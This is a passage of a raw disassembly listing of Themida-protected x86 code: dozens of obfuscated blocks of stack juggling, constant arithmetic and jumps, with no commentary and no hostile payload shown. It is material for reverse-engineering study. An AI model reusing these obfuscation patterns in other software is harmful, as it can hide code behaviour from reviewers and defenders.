		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	ebx, 57A14213h
		add	ebx, 256C40C3h
		add	ebx, ebp
		sub	ebx, 256C40C3h
		sub	ebx, 57A14213h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55EC66
; ---------------------------------------------------------------------------


loc_56A892:				; CODE XREF: Themida_:0057294Aj
		push	74D6h
		mov	[esp], edx
		push	ecx
		push	5796h
		mov	[esp], ebx
		mov	bl, 9Bh
		mov	ch, bl
		jmp	loc_5643C6
; ---------------------------------------------------------------------------


loc_56A8AC:				; CODE XREF: Themida_:00561562j
		add	esp, 4
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_570074
; ---------------------------------------------------------------------------


loc_56A8CA:				; CODE XREF: Themida_:00569FE4j
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		jmp	loc_560FE2
; ---------------------------------------------------------------------------


loc_56A8E0:				; CODE XREF: Themida_:00560B1Aj
		pop	edi
		pop	edi
		add	edx, esi
		add	edx, 764F46C0h
		pop	esi
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		jmp	loc_565958
; ---------------------------------------------------------------------------


loc_56A907:				; CODE XREF: Themida_:00568C9Fj
		push	eax
		mov	eax, 26F1A7Ch
		add	eax, 509D6B22h
		add	eax, 0ACFB7C68h
		add	edi, eax
		pop	eax
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esi
		push	ebp
		xor	dword ptr [esp], 48BF2496h
		jmp	loc_56CB8F
; ---------------------------------------------------------------------------


loc_56A939:				; CODE XREF: Themida_:00569033j
		pop	ebp
		add	esp, 4
		add	eax, 4F33FE3h
		add	eax, edx
		sub	eax, 4F33FE3h
		push	ecx
		mov	ecx, 0
		add	ecx, eax
		jmp	loc_567100
; ---------------------------------------------------------------------------


loc_56A956:				; CODE XREF: Themida_:005696CDj
		push	esi
		push	esp
		pop	esi
		push	621Dh
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_56F3AB
; ---------------------------------------------------------------------------


loc_56A96B:				; CODE XREF: Themida_:00567327j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	ecx, 6A059AAh
		sub	ecx, 28CD3FC9h
		mov	edx, ecx
		pop	ecx
		xor	edx, 4DEE5955h
		add	edx, 0A71500D1h
		jmp	loc_56BA43
; ---------------------------------------------------------------------------


loc_56A995:				; CODE XREF: Themida_:00562732j
		pop	edx
		jmp	loc_562D01
; ---------------------------------------------------------------------------


loc_56A99B:				; CODE XREF: Themida_:0055EF9Aj
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_55F319
; ---------------------------------------------------------------------------


loc_56A9AC:				; CODE XREF: Themida_:0056E5BEj
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		jmp	loc_566DEC
; ---------------------------------------------------------------------------


loc_56A9BE:				; CODE XREF: Themida_:0056372Fj
		sub	eax, 0F00B2999h
		mov	esi, eax
		pop	eax
		jmp	loc_568E6C
; ---------------------------------------------------------------------------


loc_56A9CB:				; CODE XREF: Themida_:0055D76Dj
		push	eax
		mov	eax, 11955C8Dh
		sub	ebp, eax
		pop	eax
		sub	ebp, 41335083h
		jmp	loc_56A01F
; ---------------------------------------------------------------------------


loc_56A9DF:				; CODE XREF: Themida_:0056510Bj
		mov	[esp], ebp
		push	70B5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5611AF
; ---------------------------------------------------------------------------


loc_56A9F9:				; CODE XREF: Themida_:00565195j
		mov	bx, si
		jmp	loc_56923B
; ---------------------------------------------------------------------------


loc_56AA01:				; CODE XREF: Themida_:0056671Dj
		add	eax, 77B56F79h
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 12877532h
		sub	eax, 63A9116Fh
		add	eax, 71410F3Fh
		add	eax, ecx
		sub	eax, 71410F3Fh
		push	ebp
		mov	ebp, 63A9116Fh
		jmp	loc_570EEC
; ---------------------------------------------------------------------------


loc_56AA31:				; CODE XREF: Themida_:0055F2C9j
		pop	ebp
		sub	ebp, 75AB0A3Eh
		xor	ebp, 78C20304h
		sub	ebp, 632078BFh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 38E26619h
		jmp	loc_56F58B
; ---------------------------------------------------------------------------


loc_56AA54:				; CODE XREF: Themida_:005705A3j
		mov	edx, 13493CEAh
		sub	edx, 0ADF28C3h
		sub	ecx, edx
		pop	edx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mul	ecx
		push	6904h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56AA7E:				; CODE XREF: Themida_:0055F17Aj
		or	cl, 67h
		neg	cl
		jmp	loc_566A4E
; ---------------------------------------------------------------------------


loc_56AA88:				; CODE XREF: Themida_:0056D286j
		add	esp, 4
		add	eax, ebx
		push	edx
		mov	edx, 31821D6h
		add	eax, edx
		pop	edx
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_564CF9
; ---------------------------------------------------------------------------


loc_56AAB2:				; CODE XREF: Themida_:00567FCEj
		not	esi
		xchg	eax, esi
		inc	eax
		add	eax, 0DEF551A2h
		xor	edi, eax
		pop	eax
		sub	edi, 3E51130Ah
		jmp	loc_56B6CB
; ---------------------------------------------------------------------------


loc_56AAC9:				; CODE XREF: Themida_:0057244Aj
		shr	ebp, 5
		or	ebp, 3B5F17D5h
		jmp	loc_55D767
; ---------------------------------------------------------------------------


loc_56AAD7:				; CODE XREF: Themida_:00569205j
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_56304A
; ---------------------------------------------------------------------------


loc_56AAE2:				; CODE XREF: Themida_:0056035Bj
		mov	eax, 71763249h
		add	eax, 0A8DB2E0Eh
		jmp	loc_55F716
; ---------------------------------------------------------------------------


loc_56AAF1:				; CODE XREF: Themida_:005617D4j
		add	edi, 48643FC1h
		xor	esi, edi
		pop	edi
		not	esi
		sub	esi, 35BB54F0h
		sub	edx, 2B1D2A93h
		jmp	loc_567790
; ---------------------------------------------------------------------------


loc_56AB0D:				; CODE XREF: Themida_:0056C813j
		push	esi
		push	esp
		pop	esi
		push	ebp
		mov	ebp, 4
		add	esi, 2E304576h
		add	esi, 5182313Bh
		add	esi, ebp
		sub	esi, 5182313Bh
		push	edx
		push	2E304576h
		pop	edx
		jmp	loc_571A94
; ---------------------------------------------------------------------------


loc_56AB36:				; CODE XREF: Themida_:00565574j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebp, 2
		jmp	loc_56F1EB
; ---------------------------------------------------------------------------


loc_56AB48:				; CODE XREF: Themida_:00568CFCj
		mov	ebp, 72CB06F3h
		mov	esi, 10F15E39h
		xor	esi, ebp
		jmp	loc_56424C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_57085F
; ---------------------------------------------------------------------------


loc_56AB68:				; CODE XREF: Themida_:00567B9Bj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_56EEE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_56AB8C:				; CODE XREF: sub_59DB3D-2C7BBj
		mov	[esp+0], ebx
		jmp	loc_5718B3
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_56AB94:				; CODE XREF: Themida_:0056E934j
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ebp, 25E3323Ah
		add	ebp, eax
		jmp	loc_5686EE
; ---------------------------------------------------------------------------


loc_56ABBA:				; CODE XREF: Themida_:00563D96j
		push	ebx
		not	byte ptr [esp+1]
		pop	ebx
		jmp	loc_57025C
; ---------------------------------------------------------------------------


loc_56ABC5:				; CODE XREF: Themida_:0055EC83j
		and	eax, 54260442h
		add	eax, 1CEA4BC5h
		xor	eax, 2D27063Fh
		dec	eax
		jmp	loc_568B09
; ---------------------------------------------------------------------------


loc_56ABDA:				; CODE XREF: Themida_:0056E4AAj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5663E0
; ---------------------------------------------------------------------------


loc_56ABEA:				; CODE XREF: Themida_:0057065Bj
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		sub	esp, 4
		jmp	loc_56A677
; ---------------------------------------------------------------------------


loc_56ABF9:				; CODE XREF: Themida_:00566542j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_57268E
; ---------------------------------------------------------------------------


loc_56AC04:				; CODE XREF: Themida_:00565CA4j
		mov	dl, 0E6h
		add	bl, dl
		jmp	loc_571B57
; ---------------------------------------------------------------------------


loc_56AC0D:				; CODE XREF: Themida_:0056E2D3j
		mov	dx, [esp]
		add	esp, 2
		push	ecx
		jmp	loc_56CADA
; ---------------------------------------------------------------------------


loc_56AC1A:				; CODE XREF: Themida_:00569922j
		mov	[esp], esi
		mov	esi, 5A9E1FB0h
		push	7E44h
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_55E24F
; ---------------------------------------------------------------------------


loc_56AC32:				; CODE XREF: Themida_:00560475j
		mov	eax, esp
		push	edi
		jmp	loc_5680D8
; ---------------------------------------------------------------------------


loc_56AC3A:				; CODE XREF: Themida_:0056EA0Bj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_562A70
; ---------------------------------------------------------------------------


loc_56AC58:				; CODE XREF: Themida_:00563625j
		mov	ebp, 314327h
		and	eax, ebp
		pop	ebp
		push	edx
		jmp	loc_5612DD
; ---------------------------------------------------------------------------


loc_56AC66:				; CODE XREF: Themida_:00562683j
		sub	edi, 1531500Ch
		add	edi, ebp
		add	edi, 1531500Ch
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_56FD75
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		jmp	loc_566D9B
; ---------------------------------------------------------------------------


loc_56AC84:				; CODE XREF: Themida_:00568335j
		dec	edx
		add	edx, 43893857h
		jmp	loc_569B11
; ---------------------------------------------------------------------------


loc_56AC90:				; CODE XREF: Themida_:0056B079j
		xor	edi, 14BE41DEh
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5680AB
; ---------------------------------------------------------------------------


loc_56ACA1:				; CODE XREF: Themida_:00560061j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 7FB5470Fh
		sub	ebx, 56D06156h
		sub	ebx, edi
		push	edi
		mov	edi, 56D06156h
		add	ebx, 55363B7Dh
		add	ebx, 6057029Dh
		add	ebx, edi
		jmp	loc_5729B1
; ---------------------------------------------------------------------------


loc_56ACCE:				; CODE XREF: Themida_:00567816j
		add	ebx, 1C3500CDh
		sub	ebx, 23242B4Eh
		pop	esi
		sub	eax, ebx
		pop	ebx
		add	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	4
		pop	ecx
		sub	ebp, ecx
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	7BCEh
		mov	[esp], eax
		push	ecx
		push	edx
		push	ecx
		mov	ch, 1Ah
		mov	dh, ch
		pop	ecx
		mov	cl, dh
		pop	edx
		mov	ah, 86h
		sub	ah, cl
		pop	ecx
		add	ah, 5Ah
		add	ah, 0E0h
		mov	cl, ah
		pop	eax
		sub	al, cl
		mov	ecx, [esp]
		add	esp, 4
		push	4442h
		mov	[esp], ecx
		push	eax
		mov	ah, 1Ah
		xchg	bh, ah
		not	bh
		xchg	bh, ah
		push	ebx
		jmp	loc_55F281
; ---------------------------------------------------------------------------


loc_56AD3F:				; CODE XREF: Themida_:005709B2j
		and	ebx, 21B16D47h
		shr	ebx, 1
		xor	ebx, 7F6DC3Fh
		add	eax, 35240C34h
		sub	eax, 6A25578Ah
		sub	eax, ebx
		jmp	loc_56879B
; ---------------------------------------------------------------------------


loc_56AD5E:				; CODE XREF: Themida_:0056BA86j
		add	edx, esi
		push	ebx
		mov	ebx, 6AD6324Bh
		sub	ebx, 99EC927h
		sub	edx, ebx
		pop	ebx
		jmp	loc_5626A2
; ---------------------------------------------------------------------------


loc_56AD74:				; CODE XREF: Themida_:0056439Ej
		push	eax
		push	789E17C6h
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 71FE2C74h
		and	ecx, 73A92F54h
		not	ecx
		xor	ecx, 9D77AA33h
		sub	edx, ecx
		pop	ecx
		add	edx, eax
		push	ecx
		mov	ecx, 13207998h
		sub	edx, 559E2E60h
		add	edx, ecx
		add	edx, 559E2E60h
		jmp	loc_5676CB
; ---------------------------------------------------------------------------


loc_56ADB5:				; CODE XREF: Themida_:0057283Fj
		xor	[esp], eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56ADBE:				; CODE XREF: Themida_:0056CFC9j
		xor	ah, 27h
		shl	ah, 2
		jmp	loc_56DEDA
; ---------------------------------------------------------------------------


loc_56ADC9:				; CODE XREF: Themida_:00565E49j
		push	ebx
		mov	ebx, 3B9A50E4h
		add	eax, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	ebp
		push	esi
		jmp	loc_56865E
; ---------------------------------------------------------------------------


loc_56ADF2:				; CODE XREF: Themida_:0056FC05j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_56C095
; ---------------------------------------------------------------------------


loc_56AE06:				; CODE XREF: Themida_:005673A4j
		push	49B1h
		mov	[esp], esi
		mov	esi, 9C95343h
		inc	esi
		push	edi
		push	ebx
		mov	ebx, 26B76220h
		jmp	loc_560248
; ---------------------------------------------------------------------------


loc_56AE20:				; CODE XREF: Themida_:0055F940j
		mov	esi, 4F597D3Eh
		neg	esi
		jmp	loc_55EE36
; ---------------------------------------------------------------------------


loc_56AE2C:				; CODE XREF: Themida_:0056449Aj
		mov	ebp, 287B61DDh
		sub	ecx, ebp
		pop	ebp
		xor	ecx, 0ED49CD2Ch
		sub	edi, 7C720C3Eh
		sub	edi, ecx
		add	edi, 7C720C3Eh
		pop	ecx
		sub	edi, 62303CDBh
		add	edi, 9404A38h
		add	edi, ecx
		sub	edi, 9404A38h
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, 2DFB437Ah
		mov	ebx, 4FCB7FA1h
		xor	ebx, esi
		pop	esi
		jmp	loc_56AFFE
; ---------------------------------------------------------------------------


loc_56AE76:				; CODE XREF: Themida_:005625A8j
		shr	al, 8
		neg	al
		and	al, 0FAh
		sub	al, 0FFh
		sub	cl, al
		jmp	loc_5661AA
; ---------------------------------------------------------------------------


loc_56AE86:				; CODE XREF: Themida_:00566DCFj
		pop	ecx
		push	edx
		mov	edx, 42084871h
		add	ebx, 75AC5CE3h
		sub	ebx, edx
		sub	ebx, 75AC5CE3h
		pop	edx
		add	ebx, eax
		add	ebx, 42084871h
		push	ebp
		push	30B1h
		mov	[esp], esi
		mov	esi, 125F3B0Bh
		push	esi
		jmp	loc_5616BA
; ---------------------------------------------------------------------------


loc_56AEB8:				; CODE XREF: Themida_:0056E4C0j
		mov	ebx, [esp]
		add	esp, 4
		push	3EECh
		jmp	loc_55F6D2
; ---------------------------------------------------------------------------


loc_56AEC8:				; CODE XREF: Themida_:00563519j
		add	edi, 4
		push	7BA0h
		mov	[esp], edx
		mov	edx, 5F974331h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 314E04E1h
		not	edi
		push	edx
		jmp	loc_56173F
; ---------------------------------------------------------------------------


loc_56AEEE:				; CODE XREF: Themida_:0056A431j
		push	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56450D
; ---------------------------------------------------------------------------


loc_56AF07:				; CODE XREF: Themida_:0056B469j
		mov	cl, 8Ah
		sub	bl, cl
		pop	cx
		shl	bl, 5
		push	eax
		mov	ah, 57h
		jmp	loc_568296
; ---------------------------------------------------------------------------


loc_56AF18:				; CODE XREF: Themida_:00567CAAj
		xchg	edx, edi
		push	esi
		mov	esi, 0DF780003h
		add	edi, esi
		pop	esi
		add	ebx, 92A50B9h
		add	ebx, edi
		push	ecx
		mov	ecx, 75323980h
		push	edi
		jmp	loc_56154D
; ---------------------------------------------------------------------------


loc_56AF37:				; CODE XREF: Themida_:00565389j
		push	edi
		mov	edi, 4D43360Fh
		jmp	loc_5661D8
; ---------------------------------------------------------------------------


loc_56AF42:				; CODE XREF: Themida_:005643C1j
		add	ebx, 0F58236F8h
		or	esi, ebx
		jmp	loc_56965E
; ---------------------------------------------------------------------------


loc_56AF4F:				; CODE XREF: Themida_:0056866Fj
		sub	ebp, 0CDEF92AAh
		jmp	loc_56D6EC
; ---------------------------------------------------------------------------


loc_56AF5A:				; CODE XREF: Themida_:0056C1ABj
		or	dl, ch
		mov	ecx, [esp]
		add	esp, 4
		add	dl, 50h
		sub	ah, dl
		pop	edx
		sub	ah, 98h
		push	eax
		not	byte ptr [esp+1]
		pop	eax
		sub	ah, 47h
		jmp	loc_5666E9
; ---------------------------------------------------------------------------


loc_56AF7C:				; CODE XREF: Themida_:005688BAj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56ECDA
; ---------------------------------------------------------------------------


loc_56AF8A:				; CODE XREF: Themida_:0055EB0Dj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		push	6C2A09AFh
		mov	esi, [esp]
		add	esp, 4
		and	esi, 5B91121Eh
		xor	esi, 2E2A2988h
		jmp	loc_55DC87
; ---------------------------------------------------------------------------


loc_56AFB8:				; CODE XREF: Themida_:0056CBAEj
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_567F52
; ---------------------------------------------------------------------------


loc_56AFCD:				; CODE XREF: Themida_:00563CB1j
		pop	ebx
		push	edx
		mov	edx, 6A91A20h
		xor	ebx, edx
		jmp	loc_56BA11
; ---------------------------------------------------------------------------


loc_56AFDB:				; CODE XREF: Themida_:00560D78j
		pop	eax
		jmp	loc_5717B0
; ---------------------------------------------------------------------------


loc_56AFE1:				; CODE XREF: Themida_:00569025j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_567C71
; ---------------------------------------------------------------------------


loc_56AFF2:				; CODE XREF: Themida_:00565919j
		pop	ecx
		add	bh, 27h
		sub	al, bh
		pop	ebx
		jmp	loc_5629CA
; ---------------------------------------------------------------------------


loc_56AFFE:				; CODE XREF: Themida_:0056AE71j
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 555444Dh
		jmp	loc_567B73
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_55E010
; ---------------------------------------------------------------------------


loc_56B019:				; CODE XREF: Themida_:0056DD89j
		not	ebp
		inc	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3C38410Ch
		and	ebp, edi
		pop	edi
		or	ebp, 96A011Ch
		or	ebp, 110F436Dh
		jmp	loc_561D88
; ---------------------------------------------------------------------------


loc_56B03E:				; CODE XREF: Themida_:0056A012j
		xor	al, 0Ah
		add	bl, al
		pop	eax
		mov	ecx, [esp]
		push	edi
		jmp	loc_5617AB
; ---------------------------------------------------------------------------


loc_56B04C:				; CODE XREF: Themida_:0056F13Cj
		push	ecx
		mov	ecx, 26A93675h
		jmp	loc_56A7CC
; ---------------------------------------------------------------------------


loc_56B057:				; CODE XREF: Themida_:0056D52Ej
		mov	[esp], edi
		push	117D288Fh
		pop	edi
		shr	edi, 8
		jmp	loc_5670D8
; ---------------------------------------------------------------------------


loc_56B068:				; CODE XREF: Themida_:0055D511j
		push	esi
		jmp	loc_569C24
; ---------------------------------------------------------------------------


loc_56B06E:				; CODE XREF: Themida_:00560DC8j
		mov	edi, 7D446447h
		xor	edi, 5FE87D61h
		jmp	loc_56AC90
; ---------------------------------------------------------------------------


loc_56B07E:				; CODE XREF: Themida_:00570454j
		pop	ebx
		sub	esi, edi
		jmp	loc_55F3D1
; ---------------------------------------------------------------------------


loc_56B086:				; CODE XREF: Themida_:00569997j
		push	esi
		jmp	loc_5639B4
; ---------------------------------------------------------------------------


loc_56B08C:				; CODE XREF: Themida_:00566C2Ej
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55D516
; ---------------------------------------------------------------------------


loc_56B098:				; CODE XREF: Themida_:00560D41j
		pop	ecx
		jmp	loc_56512F
; ---------------------------------------------------------------------------


loc_56B09E:				; CODE XREF: Themida_:0056C460j
		xor	dh, 91h
		dec	dh
		push	cx
		mov	cl, 0C1h
		jmp	loc_572972
; ---------------------------------------------------------------------------


loc_56B0AC:				; CODE XREF: Themida_:0055DB48j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	cx, [esp]
		push	eax
		jmp	loc_561EB6
; ---------------------------------------------------------------------------


loc_56B0BD:				; CODE XREF: Themida_:0055F20Bj
		push	esp
		jmp	loc_561488
; ---------------------------------------------------------------------------


loc_56B0C3:				; CODE XREF: Themida_:00562CA6j
		add	ax, di
		sub	ax, 788Ah
		pop	edi
		jmp	loc_563ECE
; ---------------------------------------------------------------------------


loc_56B0D0:				; CODE XREF: Themida_:00564570j
		pop	ebp
		or	ecx, 1D3B0DD5h
		push	642Ch
		mov	[esp], esi
		push	6E16h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_563723
; ---------------------------------------------------------------------------


loc_56B0FA:				; CODE XREF: Themida_:00567312j
		pop	edx
		sub	esp, 4
		jmp	loc_56570A
; ---------------------------------------------------------------------------


loc_56B106:				; CODE XREF: Themida_:005697F3j
		push	ebx
		jmp	loc_563A67
; ---------------------------------------------------------------------------


loc_56B10C:				; CODE XREF: Themida_:00560D6Bj
		xor	ebp, 1A331E44h
		add	ebp, 0B5ADAA9Dh
		sub	esp, 4
		jmp	loc_56BADB
; ---------------------------------------------------------------------------


loc_56B123:				; CODE XREF: Themida_:005647E2j
		add	ecx, 4A80D0E6h
		and	esi, ecx
		pop	ecx
		inc	esi
		push	esi
		push	ecx
		pop	esi
		jmp	loc_572465
; ---------------------------------------------------------------------------


loc_56B135:				; CODE XREF: Themida_:00572AEAj
		add	esp, 4
		sub	bl, ah
		pop	eax
		push	4A5Fh
		mov	[esp], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55F422
; ---------------------------------------------------------------------------


loc_56B15B:				; CODE XREF: Themida_:00572804j
		push	eax
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		not	eax
		push	esi
		push	eax
		pop	esi
		jmp	loc_571BB9
; ---------------------------------------------------------------------------


loc_56B16D:				; CODE XREF: Themida_:005653E5j
		sub	ebx, 699819F0h
		jmp	loc_561DC8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	7035h
		mov	[esp], ebx
		push	40ABh
		jmp	loc_56E12E
; ---------------------------------------------------------------------------


loc_56B18E:				; CODE XREF: Themida_:00566BD2j
		inc	ecx
		jmp	loc_5634FB
; ---------------------------------------------------------------------------


loc_56B194:				; CODE XREF: Themida_:005602D5j
		push	ecx
		jmp	loc_5615BF
; ---------------------------------------------------------------------------


loc_56B19A:				; CODE XREF: Themida_:00571BB4j
		or	bh, 0F0h
		sub	bh, 2Ch
		add	dl, 0F8h
		add	dl, bh
		sub	dl, 0F8h
		mov	ebx, [esp]
		add	esp, 4
		shr	dl, 3
		dec	dl
		xor	dl, 64h
		xor	dl, ah
		xor	ah, dl
		xor	dl, ah
		inc	ah
		push	cx
		mov	cl, ah
		mov	ah, dl
		mov	dl, cl
		mov	cx, [esp]
		add	esp, 2
		xor	dl, 6Ah
		jmp	loc_571134
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		jmp	loc_5643D4
; ---------------------------------------------------------------------------


loc_56B1E8:				; CODE XREF: Themida_:0056FF78j
		mov	edx, 4
		sub	ecx, edx
		jmp	loc_56661F
; ---------------------------------------------------------------------------


loc_56B1F4:				; CODE XREF: Themida_:00563565j
		pop	edi
		push	eax
		jmp	loc_5703B1
; ---------------------------------------------------------------------------


loc_56B1FB:				; CODE XREF: Themida_:0057278Fj
		pop	ebx
		pop	dword ptr [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	ebp
		jmp	loc_56B846
; ---------------------------------------------------------------------------


loc_56B20A:				; CODE XREF: Themida_:005681E4j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_56FD4C
; ---------------------------------------------------------------------------


loc_56B213:				; CODE XREF: Themida_:0056ECF8j
		mov	edi, 348F21F1h
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 6FF115E4h
		add	ebx, eax
		add	ebx, 6FF115E4h
		jmp	loc_561CD0
; ---------------------------------------------------------------------------


loc_56B233:				; CODE XREF: Themida_:0056A0B8j
		mov	ebx, [esp]
		add	esp, 4
		push	7CB3h
		mov	[esp], edi
		push	ecx
		push	edi
		mov	edi, 57453CDBh
		mov	ecx, edi
		pop	edi
		mov	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ebx, edi
		jmp	loc_568265
; ---------------------------------------------------------------------------


loc_56B25E:				; CODE XREF: Themida_:0056EFC7j
		add	ebp, 0AE1AE8D5h
		mov	ebx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		sub	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_56B4D0
; ---------------------------------------------------------------------------


loc_56B283:				; CODE XREF: Themida_:0056736Bj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	ecx
		jmp	loc_55D63A
; ---------------------------------------------------------------------------


loc_56B2A1:				; CODE XREF: Themida_:0056F715j
		pop	ecx
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56B2A7:				; CODE XREF: Themida_:0056DD19j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		jmp	loc_55E916
; ---------------------------------------------------------------------------


loc_56B2BA:				; CODE XREF: Themida_:0056EF9Aj
		pop	edx
		add	esi, ecx
		pop	ecx
		jmp	loc_56DBFD
; ---------------------------------------------------------------------------


loc_56B2C3:				; CODE XREF: Themida_:0055EFD6j
		sub	bh, 0B0h
		sub	bh, 33h
		xor	bh, 86h
		neg	bh
		sub	bh, 74h
		jmp	loc_56A1BD
; ---------------------------------------------------------------------------


loc_56B2D6:				; CODE XREF: Themida_:0056434Ej
		xchg	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_567659
; ---------------------------------------------------------------------------


loc_56B2F2:				; CODE XREF: Themida_:00564BBFj
		xor	bh, 61h
		xor	ah, bh
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	bl, ah
		mov	dl, bl
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		sub	al, 0F0h
		add	al, dl
		push	ecx
		mov	ch, 92h
		or	ch, 0D0h
		push	eax
		mov	al, 0C7h
		dec	al
		add	al, 0AFh
		not	al
		xor	al, 0A8h
		xor	ch, al
		pop	eax
		add	al, ch
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		push	edx
		jmp	loc_55D529
; ---------------------------------------------------------------------------


loc_56B33C:				; CODE XREF: Themida_:0056CF34j
		push	10F4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		mov	ebx, 4
		add	edi, 1BE73DB2h
		add	edi, ebx
		sub	edi, 1BE73DB2h
		pop	ebx
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		jmp	loc_56A2C0
; ---------------------------------------------------------------------------


loc_56B36E:				; CODE XREF: Themida_:0057229Ej
		push	ebp
		mov	ebp, esp
		jmp	loc_56658E
; ---------------------------------------------------------------------------


loc_56B376:				; CODE XREF: Themida_:005668EFj
		push	ecx
		push	47626E65h
		jmp	loc_57076D
; ---------------------------------------------------------------------------


loc_56B381:				; CODE XREF: Themida_:0056B554j
		mov	edi, 0EB92210h
		inc	edi
		jmp	loc_560424
; ---------------------------------------------------------------------------


loc_56B38C:				; CODE XREF: Themida_:00561DC3j
		xchg	esi, [esp]
		jmp	loc_564698
; ---------------------------------------------------------------------------


loc_56B394:				; CODE XREF: Themida_:00567C02j
		sub	esp, 4
		mov	[esp], edi
